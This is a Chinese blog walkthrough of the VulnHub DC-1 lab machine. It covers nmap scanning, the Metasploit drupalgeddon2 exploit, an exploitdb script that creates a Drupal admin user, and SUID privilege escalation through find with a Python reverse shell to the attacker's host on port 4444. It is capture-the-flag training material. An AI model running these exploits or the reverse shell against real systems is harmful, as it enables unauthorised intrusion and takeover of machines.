vulnhub靶机实战:DC-1

0x00  环境搭建

靶机下载地址:https://www.five86.com/dc-1.html

网络配置:我这里都使用桥接模式,为的是方便用物理机的一些工具对靶机进行渗透,kali虚拟机同样也可以进行渗透。

 kali:192.168.1.104

物理机:192.168.1.103

DC-1:192.168.1.105

0x01  渗透过程

一、扫描:

1.获取IP

首先使用netdiscover或者nmap扫描,发现靶机的IP地址。这里我使用了netdiscover:

netdiscover -r 192.168.1.0/24

 

 

 由此得到:靶机的IP地址是:192.168.1.105

2.扫描开放端口及服务信息

nmap 192.168.1.105 -A -oN dc-1.txt

输出的dc-1.txt如下:

# Nmap 7.80 scan initiated Wed Jan 13 00:03:38 2021 as: nmap -A -oN dc1.txt 192.168.1.105
Nmap scan report for 192.168.1.105
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33255/udp6  status
|   100024  1          47293/udp   status
|   100024  1          57115/tcp6  status
|_  100024  1          57588/tcp   status
MAC Address: 00:0C:29:30:B7:60 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.1.105

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 13 00:03:49 2021 -- 1 IP address (1 host up) scanned in 11.16 seconds

3.web渗透,发现cms版本

 

 4.利用msf直接getshell

先在msf中搜索drupal:

 

 经过尝试,可以使用第4个模块:

use exploit/unix/webapp/drupal_drupalgeddon2

show options

set RHOSTS 192.168.1.105

run

操作结果如下:

 

 getshell:

 

 输入ls命令发现

 

 接下来:

cat flag1.txt

 

5.为了方便,先获取一个交互式的shell

在shell中运行一下代码:

python -c 'import pty; pty.spawn("/bin/bash")'

 

 

6.根据flag1提示,寻找flag2

据flag1提示,获取配置文件:/sites/default/settings.php,找到flag2提示:

 

 也找到数据库信息:

 7.获取flag3

根据flag2提示,使用mysql -u dbuser -p,输入密码R0ck3t登陆。

 

 

 查看数据库和表:

show databases;

use drupaldb;

show tables;

找到users表,并查看users表的所有列及其值:

select * from users;

 

 

 尝试爆破admin的密码,在这里,我使用了hashidhash‐identifier都无法识别出该hash加密类型。于是去exploitdb看看有没有攻击脚本.

 

 

 在这里找相应的:/usr/share/exploitdb/exploits/

运行以下命令:

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.105 -u admin1 -p admin1

 

 

 接下来在浏览器浏览http://192.168.1.105/,使用admin1/admin1。然后在content下找到flag3。

 

 

 

 8.获取flag4

根据flag4,应该要查看shadow文件,并使用SUID命令提权。关于SUID和SGID的相关知识看这位大佬的链接:https://www.cnblogs.com/fhefh/archive/2011/09/20/2182155.html

在这里,使用以下命令都可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

 

 在这里,我们找一个命令进行利用,这里使用find命令,先查看其信息,发现其确实是root用户权限的SUID的文件:

 

 先看一下是否能用find命令以root权限运行,下面的INSTALL.txt换成事实存在的文件都可以,发现确实可以以root权限运行:

/usr/bin/find INSTALL.txt -exec whoami \;

 

 接下来查看是否有Python环境,发现是python2.7.3:

 

 于是用root用户的身份利用Python反弹shell:

/usr/bin/find INSTALL.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.104",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

在此之前,先用nc侦听4444端口:

 

 接下来再输入反弹shell,nc侦听结果如下:

 

 成功提权。

直接使用find命令查找flag4.txt,并查看:

 

 9.获取flag5

根据flag4的提示,用相同的方法寻找下一个flag。在这里使用模糊查找,并保存为一个txt文件,方便过后查找操作。

find / -name '*txt' > re.txt

接下来cat一下re.txt查找flag关键字:

cat re.txt | grep flag

 

 找到flag5:thefinalflag.txt,cat一下看一下内容,做一个形式:

 

 

成功。

欢迎各位师傅指正~

posted @ 2021-01-28 14:08  M4ny1u  阅读(227)  评论(0编辑  收藏  举报

Email: imanyiu12@foxmail.com